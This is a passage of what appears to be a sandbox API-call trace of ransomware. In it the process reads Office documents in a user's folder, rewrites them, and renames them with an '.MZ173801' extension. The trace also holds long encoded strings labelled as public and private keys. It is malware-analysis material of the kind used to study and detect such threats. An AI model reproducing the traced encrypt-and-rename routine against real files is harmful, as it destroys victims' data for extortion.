lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0168.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0168.256] GetCurrentThreadId () returned 0xab4 [0168.256] GetCurrentThreadId () returned 0xab4 [0168.257] GetCurrentThreadId () returned 0xab4 [0168.257] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kcbhP88PnzqBNGqzO3.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\kcbhp88pnzqbngqzo3.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0168.257] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0168.257] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0168.257] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0xf0f6 [0168.257] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0168.257] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0xf0f6, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0xf0f6, lpOverlapped=0x0) returned 1 [0168.258] CloseHandle (hObject=0x278) returned 1 [0168.260] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\kcbhP88PnzqBNGqzO3.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\kcbhp88pnzqbngqzo3.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0168.262] WriteFile (in: hFile=0x278, lpBuffer=0x24b0040*, nNumberOfBytesToWrite=0xf0f6, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b0040*, lpNumberOfBytesWritten=0x19fa24*=0xf0f6, lpOverlapped=0x0) returned 1 [0168.264] CloseHandle (hObject=0x278) returned 1 [0168.268] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\kcbhP88PnzqBNGqzO3.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\kcbhp88pnzqbngqzo3.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\kcbhP88PnzqBNGqzO3.pptx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\kcbhp88pnzqbngqzo3.pptx.mz173801")) returned 1 [0168.268] GetCurrentThreadId () returned 0xab4 [0168.268] GetCurrentThreadId () returned 0xab4 [0168.268] GetCurrentThreadId () returned 0xab4 [0168.269] GetCurrentThreadId () returned 0xab4 [0168.269] GetCurrentThreadId () returned 0xab4 [0168.269] GetCurrentThreadId () returned 0xab4 [0168.269] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59170cc0, ftCreationTime.dwHighDateTime=0x1d5dabb, ftLastAccessTime.dwLowDateTime=0xd2def120, ftLastAccessTime.dwHighDateTime=0x1d5aed9, ftLastWriteTime.dwLowDateTime=0xd2def120, ftLastWriteTime.dwHighDateTime=0x1d5aed9, nFileSizeHigh=0x0, nFileSizeLow=0x131a3, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="lwhJgzvsl5XlQcrqU6.xlsx", cAlternateFileName="LWHJGZ~1.XLS")) returned 1 [0168.269] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0168.269] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0168.269] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\lwhJgzvsl5XlQcrqU6.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\lwhjgzvsl5xlqcrqu6.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59170cc0, ftCreationTime.dwHighDateTime=0x1d5dabb, ftLastAccessTime.dwLowDateTime=0xd2def120, ftLastAccessTime.dwHighDateTime=0x1d5aed9, ftLastWriteTime.dwLowDateTime=0xd2def120, ftLastWriteTime.dwHighDateTime=0x1d5aed9, nFileSizeHigh=0x0, nFileSizeLow=0x131a3)) returned 1 [0168.269] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\lwhJgzvsl5XlQcrqU6.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\lwhjgzvsl5xlqcrqu6.xlsx")) returned 0x20 [0168.269] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\lwhJgzvsl5XlQcrqU6.xlsx", dwFileAttributes=0x80) returned 1 [0168.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0168.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0168.273] GetCurrentThreadId () returned 0xab4 [0168.273] GetCurrentThreadId () returned 0xab4 [0168.273] GetCurrentThreadId () returned 0xab4 [0168.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0168.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0168.274] GetCurrentThreadId () returned 0xab4 [0168.274] GetCurrentThreadId () returned 0xab4 [0168.274] GetCurrentThreadId () returned 0xab4 [0168.274] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\lwhJgzvsl5XlQcrqU6.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\lwhjgzvsl5xlqcrqu6.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0168.274] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0168.274] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0168.274] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x131a3 [0168.274] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, 